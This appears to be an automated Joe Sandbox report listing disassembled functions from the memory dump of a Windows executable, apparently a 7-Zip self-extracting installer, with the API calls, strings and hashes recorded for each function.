Source File: 00000006.00000002.3342354944.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.3342273138.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342450786.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342531832.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342620964.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_8fdf5f1a62.jbxd

Similarity

API ID: MetricsSystem$ObjectSelect$DrawReleaseText
String ID:
API String ID: 2466489532-0
Opcode ID: 361b9f72db81968066b11de39633dd2aeb039f56a0627fc63b5b1369e6440dec
Instruction ID: 872bb3bd96abf1d963658246664a9f9dec04eac668a7313924c28ae5c7f0044f
Opcode Fuzzy Hash: 361b9f72db81968066b11de39633dd2aeb039f56a0627fc63b5b1369e6440dec
Instruction Fuzzy Hash: FF216871901209AFCB01CF69DD44A9EBFF4FF08360F10C46AE519A72A0D335AA50DF41

Function 00408921 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 102windowCOMMON

Download Yara Rule

APIs

__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 0040895B
GetDlgItem.USER32(?,000004B8), ref: 00408979
SendMessageW.USER32(00000000,00000402,00000000,00000000), ref: 0040898B
wsprintfW.USER32 ref: 004089A9
??3@YAXPAX@Z.MSVCRT(?), ref: 00408A41

Strings

%d%%, xrefs: 004089A3

Memory Dump Source

Source File: 00000006.00000002.3342354944.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.3342273138.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342450786.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342531832.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342620964.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_8fdf5f1a62.jbxd

Similarity

API ID: ??3@ItemMessageSendUnothrow_t@std@@@__ehfuncinfo$??2@wsprintf
String ID: %d%%
API String ID: 3753976982-1518462796
Opcode ID: 51ae72c57df79fbb6cbb7e6395a09830993c207f45adbfda5b45f62387b44217
Instruction ID: dc12f65f6354bcef20b20b64e73197b6a82627a21fa16bd919092f53849079ab
Opcode Fuzzy Hash: 51ae72c57df79fbb6cbb7e6395a09830993c207f45adbfda5b45f62387b44217
Instruction Fuzzy Hash: C531B371500208BFCB11AF51DD45EEA7BB9FF48304F10802EF986B62E1DB79A910CB59

Function 00408B38 Relevance: 10.6, APIs: 7, Instructions: 63timethreadinjectionCOMMON

Download Yara Rule

APIs

EndDialog.USER32(?,00000000), ref: 00408B52
KillTimer.USER32(?,00000001), ref: 00408B63
SetTimer.USER32(?,00000001,00000000,00000000), ref: 00408B8D
SuspendThread.KERNEL32(00000290), ref: 00408BA6
ResumeThread.KERNEL32(00000290), ref: 00408BC3
EndDialog.USER32(?,00000000), ref: 00408BE5

Memory Dump Source

Source File: 00000006.00000002.3342354944.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.3342273138.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342450786.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342531832.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342620964.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_8fdf5f1a62.jbxd

Similarity

API ID: DialogThreadTimer$KillResumeSuspend
String ID:
API String ID: 4151135813-0
Opcode ID: 636331c51eeec99492c3656744559ca8cb25bf13f1d29267e4cf69c729943fa4
Instruction ID: 672def9565bfc40134271a6b6781851c3b106654d45cfef20a52af227c3b9f34
Opcode Fuzzy Hash: 636331c51eeec99492c3656744559ca8cb25bf13f1d29267e4cf69c729943fa4
Instruction Fuzzy Hash: 101191B4202608EFE7215F52EE85EA7777CFB44745700843EF986A66A1CF396C10DA1D

Function 004041B2 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 56COMMON

Download Yara Rule

APIs

??3@YAXPAX@Z.MSVCRT(?,?,?,%%T\,0041A7E8,?,?,00000000,00404980,?,?,?,?,004068AF,00000000), ref: 004041F8
??3@YAXPAX@Z.MSVCRT(?,?,?,%%T/,0041A7D8,?,?,?,%%T\,0041A7E8,?,?,00000000,00404980,?,?), ref: 00404236
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,%%T/,0041A7D8,?,?,?,%%T\,0041A7E8,?,?,00000000), ref: 0040425C
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,%%T/,0041A7D8,?,?,?,%%T\,0041A7E8,?,?), ref: 00404264

Strings

%%T\, xrefs: 004041D8
%%T/, xrefs: 00404216

Memory Dump Source

Source File: 00000006.00000002.3342354944.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.3342273138.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342450786.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342531832.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342620964.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_8fdf5f1a62.jbxd

Similarity

API ID: ??3@
String ID: %%T/$%%T\
API String ID: 613200358-2679640699
Opcode ID: 32ef79d1291380c273689fbeb54a3f068f011761e48dfc995dcc37c28d559008
Instruction ID: df8026740f1f86ca471eb2ea0e41fa98444a64685e80cf153ceacd7fb444c2e9
Opcode Fuzzy Hash: 32ef79d1291380c273689fbeb54a3f068f011761e48dfc995dcc37c28d559008
Instruction Fuzzy Hash: D411C97190010AAACF05FFA2D856CEDBB78AF14708F10846AB551760E2DF789B95CB48

Function 0040426D Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 56COMMON

Download Yara Rule

APIs

??3@YAXPAX@Z.MSVCRT(?,?,?,%%S\,0041A7E8,?,?,00000000,00404980,?,?,?,?,004068AF,00000000), ref: 004042B3
??3@YAXPAX@Z.MSVCRT(?,?,?,%%S/,0041A7D8,?,?,?,%%S\,0041A7E8,?,?,00000000,00404980,?,?), ref: 004042F1
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,%%S/,0041A7D8,?,?,?,%%S\,0041A7E8,?,?,00000000), ref: 00404317
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,%%S/,0041A7D8,?,?,?,%%S\,0041A7E8,?,?), ref: 0040431F

Strings

%%S\, xrefs: 00404293
%%S/, xrefs: 004042D1

Memory Dump Source

Source File: 00000006.00000002.3342354944.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.3342273138.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342450786.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342531832.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342620964.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_8fdf5f1a62.jbxd

Similarity

API ID: ??3@
String ID: %%S/$%%S\
API String ID: 613200358-358529586
Opcode ID: 234a46bb65b67f966a8e437df7229c99e997b16022daf5c37f9ee439fb3c0353
Instruction ID: 4488bc9e4ce621475e7ac020b16d4e8be87a05eb600b5e71f20f3fc481b48b4f
Opcode Fuzzy Hash: 234a46bb65b67f966a8e437df7229c99e997b16022daf5c37f9ee439fb3c0353
Instruction Fuzzy Hash: 7811C975900109AACF05FFA2D856CEDBB78AF14308F10846AF561760E2DF789B99CB48

Function 00404328 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 56COMMON

Download Yara Rule

APIs

??3@YAXPAX@Z.MSVCRT(?,?,?,%%M\,0041A7E8,?,?,00000000,00404980,?,?,?,?,004068AF,00000000), ref: 0040436E
??3@YAXPAX@Z.MSVCRT(?,?,?,%%M/,0041A7D8,?,?,?,%%M\,0041A7E8,?,?,00000000,00404980,?,?), ref: 004043AC
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,%%M/,0041A7D8,?,?,?,%%M\,0041A7E8,?,?,00000000), ref: 004043D2
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,%%M/,0041A7D8,?,?,?,%%M\,0041A7E8,?,?), ref: 004043DA

Strings

%%M\, xrefs: 0040434E
%%M/, xrefs: 0040438C

Memory Dump Source

Source File: 00000006.00000002.3342354944.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.3342273138.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342450786.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342531832.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342620964.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_8fdf5f1a62.jbxd

Similarity

API ID: ??3@
String ID: %%M/$%%M\
API String ID: 613200358-4143866494
Opcode ID: 912668388eac2bfc377ae5e16b5c219b7d863f1ca1c26d4b178e3f78348507e0
Instruction ID: 1e1ecd5a4810495ff1b5747c8ad1555e4ca49c286c4952b26a2a60c5b9476409
Opcode Fuzzy Hash: 912668388eac2bfc377ae5e16b5c219b7d863f1ca1c26d4b178e3f78348507e0
Instruction Fuzzy Hash: D411C971900109AACF05FFA2D856CEDBB79AF14308F10846AF551760E2DF785A9ACB58

Function 00408504 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 55COMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00408519
SHBrowseForFolderW.SHELL32(?), ref: 00408532
SHGetPathFromIDListW.SHELL32(00000000,00000000), ref: 0040854E
SHGetMalloc.SHELL32(00000000), ref: 00408578

Part of subcall function 004082F3: GetDlgItem.USER32(?,000004B6), ref: 00408300
Part of subcall function 004082F3: SetFocus.USER32(00000000,?,?,004083E7,000004B6,?), ref: 00408307

Strings

A, xrefs: 0040852B
A, xrefs: 0040855F

Memory Dump Source

Source File: 00000006.00000002.3342354944.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.3342273138.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342450786.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342531832.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342620964.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_8fdf5f1a62.jbxd

Similarity

API ID: BrowseFocusFolderFromItemListMallocPathmemset
String ID: A$A
API String ID: 1557639607-3025247501
Opcode ID: 7184c409714950e4399974884f9922c096c63a12bd23a875202a47cc40967fbf
Instruction ID: 8e2b46382c4e0e79c38c40a6d9053323f47f27154f6d6a29afbbbbb9270b0dc0
Opcode Fuzzy Hash: 7184c409714950e4399974884f9922c096c63a12bd23a875202a47cc40967fbf
Instruction Fuzzy Hash: 41114FB1A00204ABCB10DB95DA48BDE77BCAB88701F1400AEE905E7281DB79DE04CB75

Function 00407DAC Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 39libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(uxtheme,?,00409133,000004B1,00000000,?,?,?,?,?,00409240), ref: 00407DB4
GetProcAddress.KERNEL32(00000000,SetWindowTheme), ref: 00407DC5
GetWindow.USER32(?,00000005), ref: 00407DDE
GetWindow.USER32(00000000,00000002), ref: 00407DF4

Strings

SetWindowTheme, xrefs: 00407DBF
uxtheme, xrefs: 00407DAD

Memory Dump Source

Source File: 00000006.00000002.3342354944.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.3342273138.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342450786.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342531832.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342620964.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_8fdf5f1a62.jbxd

Similarity

API ID: Window$AddressLibraryLoadProc
String ID: SetWindowTheme$uxtheme
API String ID: 324724604-1369271589
Opcode ID: df7da54084a7170c4669871585b62670c16e7ba2a7afe7f20da463cc21b0505e
Instruction ID: 9b0de1ac587a4165001920f6b170f50534138ecb837747bbddd8b6d978bb5341
Opcode Fuzzy Hash: df7da54084a7170c4669871585b62670c16e7ba2a7afe7f20da463cc21b0505e
Instruction Fuzzy Hash: D3F0A732E4672533C232126A6C48FAB769CDF46B51B094136BD04F7390DFA8DC4041ED

Function 0040B7A0 Relevance: 9.1, APIs: 6, Instructions: 133COMMON

Download Yara Rule

APIs

??2@YAPAXI@Z.MSVCRT(00000044), ref: 0040B824
??3@YAXPAX@Z.MSVCRT ref: 0040B866
??2@YAPAXI@Z.MSVCRT(?,0000001F), ref: 0040B87C
memmove.MSVCRT(00000000,?,?,?,0000001F), ref: 0040B899
??3@YAXPAX@Z.MSVCRT(?,?,0000001F), ref: 0040B8A6
memmove.MSVCRT(?,?,?,?,?,0000001F), ref: 0040B8C4

Memory Dump Source

Source File: 00000006.00000002.3342354944.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.3342273138.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342450786.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342531832.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342620964.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_8fdf5f1a62.jbxd

Similarity

API ID: ??2@??3@memmove
String ID:
API String ID: 3828600508-0
Opcode ID: 47906053c5a29f528d9a88d94d720d9e3123c9d8a4fc5e07c1a02bdcf041b227
Instruction ID: 99a0ad40a844e9a3ffa9f049326f458531d7c56977f80c19912095adb51eb10a
Opcode Fuzzy Hash: 47906053c5a29f528d9a88d94d720d9e3123c9d8a4fc5e07c1a02bdcf041b227
Instruction Fuzzy Hash: 284159B56003048FCB14DF19D880A57B7E9FF88304F14856EEC4A9B346D779E919CBAA

Function 0040599C Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 92COMMON

Download Yara Rule

APIs

??3@YAXPAX@Z.MSVCRT(?,0041EA30,00000001,0041EA30,0041EA30,00000001,?,00000000), ref: 00405A1E
??3@YAXPAX@Z.MSVCRT(?,?,?,00000000,0041EA30,;!@InstallEnd@!,00000000,;!@Install@!UTF-8!,0041E464,0041EA30,00000001,?,00000000), ref: 00405A80
??3@YAXPAX@Z.MSVCRT(?,?,?,00000000,0041EA30,;!@InstallEnd@!,00000000,;!@Install@!UTF-8!,0041E464,0041EA30,00000001,?,00000000), ref: 00405A98

Part of subcall function 004039E7: lstrlenW.KERNEL32(00401A74,00000000,?,?,?,?,?,?,00401A74,?), ref: 004039F4
Part of subcall function 004039E7: GetSystemTimeAsFileTime.KERNEL32(?,00401A74,?,?,?,?,00401A74,?), ref: 00403A6A
Part of subcall function 004039E7: GetFileAttributesW.KERNELBASE(?,?,?,?,?,00401A74,?), ref: 00403A71
Part of subcall function 004039E7: ??3@YAXPAX@Z.MSVCRT(?,00401A74,?,?,?,?,00401A74,?), ref: 00403B30

Strings

;!@InstallEnd@!, xrefs: 00405A53
;!@Install@!UTF-8!, xrefs: 00405A39

Memory Dump Source

Source File: 00000006.00000002.3342354944.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.3342273138.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342450786.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342531832.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342620964.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_8fdf5f1a62.jbxd

Similarity

API ID: ??3@$FileTime$AttributesSystemlstrlen
String ID: ;!@Install@!UTF-8!$;!@InstallEnd@!
API String ID: 4038993085-372238525
Opcode ID: ae470c15fb9ab93de0ad4030f77c14c07a8208b8d7926a28e8ed83b0eb248ccf
Instruction ID: 1d6f72d44ce7b26bafcc2ee4707833dd2b606594c716bb38fa5c6a696ed85d5e
Opcode Fuzzy Hash: ae470c15fb9ab93de0ad4030f77c14c07a8208b8d7926a28e8ed83b0eb248ccf
Instruction Fuzzy Hash: 05311B7490022AAACF05EF92CD828EEBB79FF58318F10042BE810761E1DB795645DE58

Function 00401000 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 58stringCOMMON

Download Yara Rule

APIs

wsprintfW.USER32 ref: 00401053
wsprintfW.USER32 ref: 00401071
lstrcatW.KERNEL32(?,?), ref: 00401084
ExitProcess.KERNEL32 ref: 004010AC

Strings

0x%p, xrefs: 0040106B

Memory Dump Source

Source File: 00000006.00000002.3342354944.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.3342273138.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342450786.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342531832.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342620964.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_8fdf5f1a62.jbxd

Similarity

API ID: wsprintf$ExitProcesslstrcat
String ID: 0x%p
API String ID: 2530384128-1745605757
Opcode ID: 217280ca1667caf64bbadd46d79608ffb89a528de629757afe78e206874d1f67
Instruction ID: 10afd36f4070d89f293b01a92875ce402ef2d19f58a346a7dbf4abb5c9f18492
Opcode Fuzzy Hash: 217280ca1667caf64bbadd46d79608ffb89a528de629757afe78e206874d1f67
Instruction Fuzzy Hash: 531182B5801208EFCB20EFB5DD85DDA73B8AF04304F00447BE645B3191D778AA948B5A

Function 00402E67 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 53COMMON

Download Yara Rule

APIs

ExpandEnvironmentStringsW.KERNEL32(00000000,?,00000001,00000000,?,?,?), ref: 00402E98
??3@YAXPAX@Z.MSVCRT(?), ref: 00402EA1

Part of subcall function 004011B7: ??2@YAPAXI@Z.MSVCRT(00000000,00000000,?,00000000,004014FF,00000003,?,00405C8B,?,00000000), ref: 004011D7
Part of subcall function 004011B7: ??3@YAXPAX@Z.MSVCRT(?,00000000,?,00000000,004014FF,00000003,?,00405C8B,?,00000000), ref: 004011FD

ExpandEnvironmentStringsW.KERNEL32(SetEnvironment,00000000,00000001,00000001,SetEnvironment), ref: 00402EB9
??3@YAXPAX@Z.MSVCRT(?,?), ref: 00402ED9

Strings

SetEnvironment, xrefs: 00402EA9, 00402EB8

Memory Dump Source

Source File: 00000006.00000002.3342354944.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.3342273138.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342450786.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342531832.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342620964.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_8fdf5f1a62.jbxd

Similarity

API ID: ??3@$EnvironmentExpandStrings$??2@
String ID: SetEnvironment
API String ID: 612612615-360490078
Opcode ID: a35de80e7cad52e5dc6298b6344b4de1a7c54804515ee2809541825fa383ffde
Instruction ID: 9a1053b96c855abc576ef2a573940a7f22d1fb52882628247968529f0f67b02c
Opcode Fuzzy Hash: a35de80e7cad52e5dc6298b6344b4de1a7c54804515ee2809541825fa383ffde
Instruction Fuzzy Hash: 66015276900104BADB14AB95DD819EEB7BCEF48314F10416BFD01B21D1DB786A408A99

Function 004049A9 Relevance: 7.6, APIs: 5, Instructions: 96stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(0041E3F0,00000020,?,?,?,?,?,00406547,?,?), ref: 004049C2
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,00406547,?,?), ref: 00404A74
??3@YAXPAX@Z.MSVCRT(00406547,?,?,?,?,?,?,?,?,?,?,?,?,?,00406547,?), ref: 00404A7C
??3@YAXPAX@Z.MSVCRT(?,?,?,?,?,?,?,?,?,?,?,?,?,00406547,?,?), ref: 00404A8B
??3@YAXPAX@Z.MSVCRT(00406547,?,?,?,?,?,?,?,?,?,?,?,?,?,00406547,?), ref: 00404A93

Memory Dump Source

Source File: 00000006.00000002.3342354944.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.3342273138.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342450786.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342531832.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342620964.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_8fdf5f1a62.jbxd

Similarity

API ID: ??3@$lstrlen
String ID:
API String ID: 2031685711-0
Opcode ID: c711911c71359a81b636e744b23c888f5a56011177dd5790178befb7102576d2
Instruction ID: d6d6aeb9fd97b078be875a6c61f5694a486b541387e48e1a0363308d58f113ad
Opcode Fuzzy Hash: c711911c71359a81b636e744b23c888f5a56011177dd5790178befb7102576d2
Instruction Fuzzy Hash: 2E21E3B6E40205ABCF206FB5CC029EB77A8EF84355F10447BEE41B72D1E7784D858A99

Function 00408828 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 85COMMON

Download Yara Rule

APIs

Part of subcall function 004081CE: GetSystemMetrics.USER32(0000000B), ref: 004081F6
Part of subcall function 004081CE: GetSystemMetrics.USER32(0000000C), ref: 004081FF

GetSystemMetrics.USER32(00000007), ref: 0040883F
GetSystemMetrics.USER32(00000007), ref: 00408850
??3@YAXPAX@Z.MSVCRT(?,000004B8,?,?), ref: 00408917

Strings

100%% , xrefs: 0040886F, 00408876, 004088CF

Memory Dump Source

Source File: 00000006.00000002.3342354944.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.3342273138.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342450786.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342531832.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342620964.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_8fdf5f1a62.jbxd

Similarity

API ID: MetricsSystem$??3@
String ID: 100%%
API String ID: 2562992111-568723177
Opcode ID: 35692a44e7e546f69739d1069c7bb9c29da4a7b1d3d728d8f1a694ecacf6944a
Instruction ID: c0f787396fa6b3de95c2f82887938995bcf82f961e42ceb6ace71c8d1a060617
Opcode Fuzzy Hash: 35692a44e7e546f69739d1069c7bb9c29da4a7b1d3d728d8f1a694ecacf6944a
Instruction Fuzzy Hash: 51318171A007059FCB24EF6ACA459AEB7F4EF54704B00052ED982A72D1DB78FE44CB99

Function 00404505 Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 26stringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32(00406EB0,00000000,?,ExecuteFile,0040454C,00000000,00000000,00406EB0,?,waitall,00000000,00000000,?,?,0041E9E8), ref: 00404512
lstrlenW.KERNEL32(?,?,?,0041E9E8), ref: 0040451B
_wcsnicmp.MSVCRT ref: 00404527

Strings

ExecuteFile, xrefs: 00404505

Memory Dump Source

Source File: 00000006.00000002.3342354944.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.3342273138.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342450786.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342531832.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342620964.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_8fdf5f1a62.jbxd

Similarity

API ID: lstrlen$_wcsnicmp
String ID: ExecuteFile
API String ID: 2823567412-323923146
Opcode ID: 269407e104d2b8646f4c579596136b213b345037a5b1e74df4f09ef425281859
Instruction ID: a2e0a5f2a3f105f817df911ac3b4dcd355adebb597ea1c4786e8ca368391ef02
Opcode Fuzzy Hash: 269407e104d2b8646f4c579596136b213b345037a5b1e74df4f09ef425281859
Instruction Fuzzy Hash: BFE04FF25052156BC6008FA5AC84C5BBBADEAC8356B540877F700E3112E735D8198BA6

Function 004026AB Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 13libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32,Wow64RevertWow64FsRedirection,00407200,00000000,?,?), ref: 004026BE
GetProcAddress.KERNEL32(00000000), ref: 004026C5

Strings

kernel32, xrefs: 004026B9
Wow64RevertWow64FsRedirection, xrefs: 004026B4

Memory Dump Source

Source File: 00000006.00000002.3342354944.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.3342273138.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342450786.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342531832.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342620964.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_8fdf5f1a62.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: Wow64RevertWow64FsRedirection$kernel32
API String ID: 2574300362-3900151262
Opcode ID: 3995c828ef5ea128a58b39da0bfb34db2680510550d7971d05a4d895e470ae21
Instruction ID: 82409627fcb45dd1da2fa5f3e3d8c344d82775180731f09fcf798d9da7421b86
Opcode Fuzzy Hash: 3995c828ef5ea128a58b39da0bfb34db2680510550d7971d05a4d895e470ae21
Instruction Fuzzy Hash: D4D0A7B4593608ABD7001B62EE0CFE276A56B40701F4480356400E00F0CBFD44D1CE1E

Function 004026DF Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 12libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(kernel32,Wow64DisableWow64FsRedirection,00402735,?,0040713A,?,00000000,?,?), ref: 004026F0
GetProcAddress.KERNEL32(00000000), ref: 004026F7

Strings

kernel32, xrefs: 004026EB
Wow64DisableWow64FsRedirection, xrefs: 004026E6

Memory Dump Source

Source File: 00000006.00000002.3342354944.0000000000401000.00000020.00000001.01000000.00000009.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.3342273138.0000000000400000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342450786.000000000041A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342531832.000000000041E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000006.00000002.3342620964.0000000000423000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_400000_8fdf5f1a62.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: Wow64DisableWow64FsRedirection$kernel32
API String ID: 2574300362-736604160
Opcode ID: f4a940be1505b68c475d95e46af471e523fc035b46ed24cc81ed57c5cf537299
Instruction ID: 4151df8360ba703b2413aa493284ccd41186626ab8f45a3e4bc2e954db12d2dd
Opcode Fuzzy Hash: f4a940be1505b68c475d95e46af471e523fc035b46ed24cc81ed57c5cf537299
Instruction Fuzzy Hash: C7D0C9B86936046AD6505BA6AD0DFE6B6A4AB80B02F9880296804E11E1C6FC4491DA2F

